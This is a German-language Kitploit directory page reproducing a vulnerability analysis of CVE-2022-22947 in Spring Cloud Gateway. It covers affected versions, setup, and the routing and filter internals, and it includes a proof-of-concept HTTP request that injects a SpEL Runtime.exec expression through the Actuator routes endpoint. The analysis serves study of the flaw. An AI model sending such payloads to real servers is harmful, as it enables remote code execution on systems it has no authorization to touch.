Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2022-22947-spring-cloud-gateway — Detaillierte Analyse und Exploit für CVE-2022-22947, eine Schwachstelle zur entfernten Codeausführung in Spring Cloud Gateway über SpEL-Injection in der Actuator-API. Enthält PoC, Memory-Shell-Injektion und Aufschlüsselung der Grundursache. | Kitploit
Tools/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

cve-2022-22947-spring-cloud-gateway

Detaillierte Analyse und Exploit für CVE-2022-22947, eine Schwachstelle zur entfernten Codeausführung in Spring Cloud Gateway über SpEL-Injection in der Actuator-API. Enthält PoC, Memory-Shell-Injektion und Aufschlüsselung der Grundursache.

Repository anzeigen
18110vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Einführung in die Schwachstelle

Spring Cloud Gateway ist ein neues Projekt von Spring Cloud, das auf Technologien wie Spring 5.0, Spring Boot 2.0 und Project Reactor basiert. Es zielt darauf ab, eine einfache und effektive einheitliche API-Routing-Verwaltung für Microservices-Architekturen bereitzustellen. Vor kurzem wurde eine kritische RCE-Schwachstelle in Spring Cloud Gateway gemeldet CVE. Die CVE-Informationen zeigen, dass eine Anwendung, die den Gateway Actuator-Endpunkt von Spring Cloud Gateway aktiviert und exponiert, einem Remote-Code-Injection-Angriff ausgesetzt ist. Ein Angreifer kann bösartige Anfragen senden und so beliebigen Code remote ausführen. Die derzeit betroffenen Versionen sind:

  • 3.1.0
  • 3.0.0 bis 3.0.6
  • Ältere, nicht unterstützte Versionen sind ebenfalls betroffen

Diese Analyse untersucht das Prinzip der Schwachstelle und weitergehende Nutzungsmöglichkeiten durch Reproduktion des CVE.

Umgebungseinrichtung

Erstellen Sie ein Maven-Projekt mit folgenden Abhängigkeiten:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

Bei der Standardkonfiguration von Spring Boot ist nur der Health-Endpoint für das Web freigegeben. Wenn der Gateway-Endpoint freigegeben werden soll, ist eine manuelle Konfiguration erforderlich. Siehe [offizielle Dokumentation](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

Senden Sie den folgenden POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

Dann senden Sie ```POST /actuator/gateway/refresh```, um den Routing-Cache zu aktualisieren und den POC auszulösen:

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## Prinzipanalyse

Betrachtet man den obigen POC, wird zunächst über ```POST /actuator/gateway/routes/test2``` dynamisch eine Route hinzugefügt. Während des Hinzufügens der Route gibt es einen Filter, der einen Eingabeparameter verarbeitet und diesen Wert als spel-Ausdruck parsen kann. Beim Aktualisieren des Routing-Caches wird dann der POC ausgelöst.

Zunächst betrachten wir den Mechanismus der dynamischen Routenkonfiguration von Spring Cloud Gateway.

### Dynamische Routenkonfiguration
Spring Cloud Gateway unterstützt die Registrierung von Routen über Code/Konfigurationsdateien. Am Beispiel des offiziellen [demos](https://spring.io/guides/gs/gateway/):```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

Die Art der Konfigurationsdateien ist ähnlich wie Code:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

Die auf diese Weise hinzugefügten Routen sind fest. Wenn Sie Routenkonfigurationen und -regeln hinzufügen, ändern oder löschen möchten, muss die Anwendung neu gestartet werden, damit die Änderungen wirksam werden. In der Praxis jedoch, da Spring Cloud Gateway den gesamten Datenverkehr als Einstiegspunkt behandelt und eine hohe Verfügbarkeit gewährleisten muss, wird der Endpunkt `/gateway` bereitgestellt. Über `/gateway/routes` können dann dynamisch Routeninformationen hinzugefügt, geändert und gelöscht werden. Diese Art von Routeninformationen existiert jedoch nur im Speicher. Sobald der Dienst neu gestartet wird, gehen die neu hinzugefügten Routenkonfigurationen verloren.

Aus dem oben genannten Format der Routenregistrierung ist ersichtlich, dass eine Routeninformation die Ziel-URI, eine Sammlung von Filtern und eine Sammlung von Prädikaten umfasst. Die Prädikate können beliebige Inhalte aus HTTP-Anfragen (Headers, Parameter) verwenden, um Anfragen abzugleichen. Spring Cloud Gateway bietet viele integrierte Route-Predicate-Factory-Klassen, wie z. B. Before, After, Between, Cookie, Header, Host, [Path usw.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

Filter dienen dazu, die Anfrage oder Antwort vor oder nach dem Senden der Anfrage zu modifizieren. Sie enthalten ebenfalls viele integrierte Filtersammlungen. In dem oben genannten Payload, der RCE auslöst, haben wir den Filter AddResponseHeader verwendet. Andere Filter sind RewritePath, SetPath usw. Es gibt zwei Arten von Filtern: GlobalFilter, der für alle Routen gültig ist, und GatewayFilter, der nur für eine einzelne Route gültig ist. Weitere Details finden Sie unter https://www.cnblogs.com/duanxz/p/14780675.html.    

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## Anforderungsablauf

Wie genau läuft der Prozess ab, wenn eine Anfrage über das Gateway zum backend proxied Service gelangt? Der offizielle Ablauf in der Dokumentation ist wie folgt:

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

Der Client sendet eine Anfrage an Spring Cloud Gateway. Anschließend wird in der GateWay Handler Mapping die passende Route für die Anfrage gefunden und an den GateWay Web Handler gesendet. Der Handler sendet die Anfrage über die festgelegte Filterkette an den eigentlichen Dienst, der die Geschäftslogik ausführt, und gibt die Antwort zurück. Die Filter sind durch gepunktete Linien getrennt, da Filter ihre Logik entweder vor (pre) oder nach (post) dem Senden der Proxy-Anfrage ausführen können.
RoutePredicateHandlerMapping sucht die Route und wird dann vom webHandler verarbeitet:

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

Im webHandler werden die gatewayFilters und globalFilters ermittelt, anhand des in den Filtern definierten Order-Werts sortiert, eine Filterchain gebildet und alle Filter ausgeführt.
![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)
Tool herunterladen